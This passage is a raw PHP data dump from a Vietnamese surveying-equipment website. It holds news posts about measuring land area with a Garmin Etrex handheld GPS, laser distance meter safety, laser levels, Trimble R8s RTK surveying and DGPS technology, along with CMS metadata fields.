Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-18', 'status' => '1', 'view' => '56829', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-18', 'status' => '1', 'view' => '68990', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66822', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66565', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-19', 'status' => '1', 'view' => '68589', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với 